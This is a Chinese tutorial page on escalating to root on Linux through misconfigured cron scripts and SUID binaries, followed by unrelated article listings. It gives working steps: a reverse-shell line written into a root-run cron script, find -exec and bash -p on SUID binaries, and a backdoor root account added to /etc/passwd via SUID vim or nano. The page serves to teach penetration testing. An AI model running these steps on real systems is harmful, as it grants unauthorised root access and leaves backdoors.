权限提升:利用Linux错配提权

目录

Linux权限基础

Linux用户权限

Linux文件权限

特殊的Linux文件权限

Linux本机信息收集

Linux错配提权

crontab计划任务提权

SUID提权


Linux权限基础

Linux用户权限

在Linux中,根据权限的不同,大致可以分为三种:超级用户(root)、普通用户、虚拟用户,从Linux中的/etc/password文件中,我们可以很详细的了解当前系统内每一个用户的不同之处,文件内容如下所示

1.root:x:0:0:root:/root:/usr/bin/zsh
2.user1:x:1000:1000:user1,,,:/home/user1:/usr/bin/zsh
3.www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

每个用户在/etc/passwd文件中的格式通常为account:passwd:UID:GID:GECOS:shell(账号:密码:用户ID:组ID:一般信息:HOME目录:shell类型)

上面的1为超级用户,2为普通用户、3为虚拟用户,1的UID和GID为0,2的UID和GID范围是 500-60000,3的UID和GID的范围为 1-499

注:虚拟用户一般是由各种服务创建的。比如www-data就是Apache服务创建的虚拟用户,专门用来运行Apache服务

Linux文件权限

Linux系统中的文件针对访问者设置了三种权限:

img

每个文件针对每访问者定义了三种主要权限:

r:read=4

w:write=2

x:xexcute=1

特殊的Linux文件权限

u+s:suid(所属用户的禁锢位)

数字标记:4

仅对可执行文本文件(命令文件)设置有意义,将某文件的所属用户进行锁死到root,不可以让其他用户代替自己称为所属用户,运行命令文件进程的所属用户是命令自身的身份;

普通用户使用在passwd执行时打开一个新的终端,在新终端中使用ps -ef 来查询该进程的运行权限:

可以看到进程的权限并非user1 而是文件创建者root。也就是说,带有SUID属性的文件,不管运行这个文件的用户是谁,它的运行者都睡变成文件的创建者,那么在执行的过程中,执行用户将会短期的拥有文件所属组的权限

g+s:sgid(所属组的禁锢位)

数字标记:2

对可执行文本文件和目录文件设置都有意义,对文本文件而言:将某文件的所属组进行锁死,不可以让其他用户代替自己称为所属组;对目录文件设置表示:在目录下所创建的文件所属组都是目录文件的所属组

即,如果一个用户对一个具有SGID属性的目录添加文件,则添加的文件的所属组将会带有SGID属性的目录的创建所属组

o+t:sticky(冒险位)

数字标记:1

对目录文件和设置有意义,作用用户只能删除属于自己的文件不能删除其他用户的文件

注意:如果为文本文件添加特殊权限执行位的x会变成S,为目录文件添加特殊权限执行位为s;

Linux本机信息收集

在Linux中执行 cat /etc/issue可以查看发型版本

执行命令 cat /etc/*release可以查询系统的详细信息

执行uname -r 可以查看系统的内核版本

如果想要查询当前系统进程列表,可以使用ps命令:

通过下面的命令可以查看当前系统中的所有用户:

cut -d: -f1 /etc/passwd

Linux错配提权

crontab计划任务提权

(1)crontab详解

计划任务是Linux中的一个非常实用的功能,在Linux中创建任务计划文件,该文件将会存储在/var/spool/cron根目录下。

存储文件的名称会与创建计划任务时所使用的用户的用户名一致,而系统应用创建计划任务生成的计划任务会存储在/etc/cron.d目录下,在使用crontab命令创建计划任务之前,需要查看当前所使用的用户是否具有执行crontab命令的权限。可以查看/etc/cron.deny文件查看该文件中记录的用户不允许执行crontab,而在/etc/cron.allow文件中记录的用户允许使用crontab命令

使用命令crontab -e创建任务计划,计划任务的格式:

minute hour day month week command 即 分 时 日 月 周

(2)利用crontab进行提权

假设一个这样的场景:root用户需要在特定的时间重启大量的服务。而将重启服务的命令一条条写到cron里面不仅工作量巨大,后期维护也是一件难事。于是root用户指定了一个Bash脚本文件,将重启服务的命令全部写入Bash脚本中,并且使用计划任务设置每天固定时间执行该脚本,这样就可以大幅减少工作量并且后期方便维护:

任务计划内容:

1 * * * * /bin/bash /tmp/rest.sh

从文件的权限中可以看到,低权限用户可以修改,且因为计划任务的原因,脚本每分钟会启动一次,并且启动者为root,此时可以以低权限用户身份向脚本中写入建立回连交互式会话的命令

bash -i > & /dev/tcp/ip/port 0>&1 

也可以写入命令

chmod u+s /usr/bin/find 

创建find后门,在任务计划中执行后,执行:

" find yum.log -exec "whoami"\;"

可以查询是否获得root权限

SUID提权

(1)查找带有SUID权限的程序

SUID主要应用于可执行程序中,执行命令chmod u+s filename 来设置 指定的可执行程序的SUID位,执行命令chmod u-s可以移除。

执行命令 find / -user root -perm -4000 -print 2> /dev/null 来查找系统中所具有SUID位且创建者为root的可执行程序

(2)利用find命令进行SUID提权

find命令是Linux中的一个用于寻找文件的命令。如果find文件存在SUID位,那么可以利用find命令自带的exec参数进行提权

首先执行下列命令查看find命令是否具有SUID权限:

ls -al $(which find)

如果有,则需要创建一个文件,或者使用当前系统的文件,因为我们要确保find命令可以成功执行

执行touch创建一个文件,然后使用下面的命令

"find 1.txt -exec whoami\;"

 

可以看到成功的拿到了root权限

(3)利用vim.basic进行SUID提权

vim是Linux下常见的文本编辑器,其中vim.basic是vim的完整版,vim.tiny是vim的缩减版,这两个版本被设置SUID位都可以进行SUID提权,vim.basic被设置SUID位后如何利用运行时的高权限向/etc/passwd文件中写入后门用户,vim.tiny的利用过程与其一致

首先使用Openssl工具生成一个密码,命令为openssl passwd -l -salt admin 123456

此时执行命令vim.basci /etc/passwd来修改文件,修改内容为:admin:...:0:0:root:/bin/bash

admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0:root:/bin/bash

退出后执行命令su admin,会发现用户添加成功了,且权限为root

(4)利用Bash进行SUID提权

Bash(Bourne Again SHell)是一种Unix shell,它是一种命令行解释器,用于Unix/Linux操作系统中执行命令和脚本,如果Bash具有SUID位,那么我们可以直接使用命令bash -p来进行提权操作,如图所示,可以看到成功的获取到了root权限

(5)利用Nano进行SUID提权

Nano是一款文本编辑器,常用于Unix操作系统。它是一款基于命令行的文本碧娜机器,简单易用,Nano提取去年操作类似于vim提权,也是利用自身高权限的特点向 /etc/passwd文件写入内容。

只需要使用openssl生成一个密码,并且使用Nano打开文件并且写入生成内容即可,最后使用su命令切换至后门用户,就可以成功提权至root用户了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/681633.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

npm install 安装依赖如何加速

在使用npm安装依赖时,有几种方法可以加速这一过程,尤其是在面临网络限制或npm官方源速度慢的情况下。以下是一些常用的加速技巧: 1. 使用国内镜像源 国内有几个镜像源可以提供更快的下载速度,例如淘宝npm镜像。你可以通过以下命…

通过QT制作一个模仿微信主界面的界面(不要求实现具体通信功能)

main.cpp #include "widget.h" #include "second.h"#include <QApplication>int main(int argc, char *argv[]) {QApplication a(argc, argv);Widget w;w.show();//实例化第二个界面Second s;QObject::connect(&w, &Widget::my_jump, &…

Linux线程库封装

一 MyThread.hpp #pragma once #include<pthread.h> #include<iostream> #include<unistd.h> #include<string> #include<ctime>typedef void (*callback_t)(); static int num 1; //任务和线程绑定 class Thread {static void* Routine(void …

力扣精选算法100道——矩阵区域和 (前缀和专题)

目录 &#x1f388;了解题意 &#x1f388;算法原理 &#x1f388;实现代码 &#x1f388;了解题意 给定一个大小为 m x n 的矩阵 mat 和一个整数 k&#xff0c;你需要计算一个新的矩阵 answer&#xff0c;其中每个 answer[i][j] 表示矩阵 mat 中以坐标 (i, j) 为中心、边…

论文阅读-Pegasus:通过网络内一致性目录容忍分布式存储中的偏斜工作负载

论文名称&#xff1a;Pegasus: Tolerating Skewed Workloads in Distributed Storage with In-Network Coherence Directories 摘要 高性能分布式存储系统面临着由于偏斜和动态工作负载引起的负载不平衡的挑战。本文介绍了Pegasus&#xff0c;这是一个利用新一代可编程交换机…

CSS 评分器星星效果

<template><view class="rating"><!-- 5颗星 --><input value="5" name="rating" id="star5" type="radio"><label for="star5"></label><!-- 4颗星 --><input val…

【后端高频面试题--设计模式下篇】

&#x1f680; 作者 &#xff1a;“码上有前” &#x1f680; 文章简介 &#xff1a;后端高频面试题 &#x1f680; 欢迎小伙伴们 点赞&#x1f44d;、收藏⭐、留言&#x1f4ac; 后端高频面试题--设计模式下篇 后端高频面试题--设计模式上篇设计模式总览模板方法模式怎么理解模…

探索机器学习:定义、算法及应用领域

目录 前言1 机器学习的定义2 机器学习算法2.1 监督学习2.2 无监督学习2.3 强化学习 3 机器学习的应用3.1 智能搜索3.2 医疗诊断3.3 无人驾驶 结语 前言 机器学习&#xff0c;源自Arthur Samuel的定义&#xff0c;赋予计算机通过领域学习的能力&#xff0c;使其在不需要明确程序…

【王道数据结构】【chapter5树与二叉树】【P158t10】

已知二叉树以二叉链表存储&#xff0c;编写算法完成&#xff1a;对于树种每个元素值为x的结点&#xff0c;删除以它为根的子树&#xff0c;并释放相应的空间 #include <iostream> #include <queue> typedef struct treenode{char data;struct treenode *left;struc…

2月7日作业

分别通过select、多进程、多线程实现一个并发服务器 #include <myhd.h> #define IP "192.168.250.100" #define PORT 8888 int deal_cli_msg(int newfd,struct sockaddr_in cin) {char buf[128] "";while(1){bzero(buf,sizeof(buf));int res recv…

使用Word Embedding+Keras进行自然语言处理NLP

目录 介绍&#xff1a; one-hot&#xff1a; pad_sequences: 建模: 介绍&#xff1a; Word Embedding是一种将单词表示为低维稠密向量的技术。它通过学习单词在文本中的上下文关系&#xff0c;将其映射到一个连续的向量空间中。在这个向量空间中&#xff0c;相似的单词在空间…

2024年智能算法优化PID参数,ITAE、ISE、ITSE、IAE四种适应度函数随意切换,附MATLAB代码...

PID 参数整定就是确定比例系数&#xff08;Kp &#xff09;、积分系数&#xff08;Ki&#xff09;和微分系数&#xff08;Kd &#xff09;的过程&#xff0c;以便使 PID 控制器能够在系统中实现稳定、快速、准确的响应。 本期的主题 采用四种2024年的智能优化算法优化PID的三个…

【开源】JAVA+Vue+SpringBoot实现毕业生追踪系统

目录 一、摘要1.1 项目介绍1.2 项目录屏 二、功能模块2.1 登陆注册模块2.2 学生基本配置模块2.3 就业状况模块2.4 学历深造模块2.5 信息汇总分析模块2.6 校友论坛模块 三、系统设计3.1 用例设计3.2 实体设计 四、系统展示五、核心代码5.1 查询我的就业状况5.2 初始化就业状况5.…

《Git 简易速速上手小册》第6章:Git 在持续集成/持续部署(CI/CD)中的应用(2024 最新版)

文章目录 6.1 CI/CD基础6.1.1 基础知识讲解6.1.2 重点案例&#xff1a;为 Python Web 应用实现 CI/CD6.1.3 拓展案例 1&#xff1a;自动化部署到云平台6.1.4 拓展案例 2&#xff1a;使用 Docker 容器化部署 6.2 Git 与自动化测试6.2.1 基础知识讲解6.2.2 重点案例&#xff1a;为…

numpy 查漏补缺

1. iterating 2. 3. 4. 5. 6. 7. 8. 9.

【HTML】情人节给npy一颗炫酷的爱心

闲谈 兄弟们&#xff0c;这不情人节快要到了&#xff0c;我该送女朋友什么&#x1f381;呢&#xff1f;哦&#xff0c;对了&#xff0c;差点忘了&#xff0c;我好像没有女朋友。不过这不影响我们要过这个节日&#xff0c;我们可以学习技术。举个简单的&#x1f330;&#xff1…

Linux_进程

进程创建 进程退出码 进程等待 程序替换 Shell作为命令行解释器是一个进程&#xff0c;它也有自己的数据结构task_struct和代码和数据。为了防止用户输入的指令造成Shell崩溃&#xff0c;所以Shell执行用户输入的指令是通过创建一个子进程来执行的。例如lspwd等等。 一.进程…

数据工程工程师学习路线图

数据工程岗位要求 Skill Sets required: - Hands on experience enabling data via Adobe Analytics and/or Google Analytics - Understanding of how customer level data is captured and stitched with behavioural data - Experience working with Testing (QA) and D…

【Java 数据结构】泛型进阶

泛型 1 什么是泛型2 引出泛型2.1 语法 3 泛型类的使用3.1 语法3.2 示例3.3 类型推导(Type Inference) 泛型是如何编译的擦除机制裸类型4 泛型的上界4.1 语法4.2 示例4.3 复杂示例 5 泛型方法5.1 定义语法5.2 示例5.3 使用示例-可以类型推导5.4 使用示例-不使用类型推导 6 通配符…

如何在极低成本硬件上落地人工智能算法 —— 分布式AI

一、背景 分布式AI的发展前景非常广阔&#xff0c;随着5G、6G等高速网络通信技术的普及和边缘计算能力的提升&#xff0c;以及AI算法和硬件的不断优化进步&#xff0c;分布式AI将在多个领域展现出强大的应用潜力和市场价值&#xff1a; 1. **物联网&#xff08;IoT&#xff0…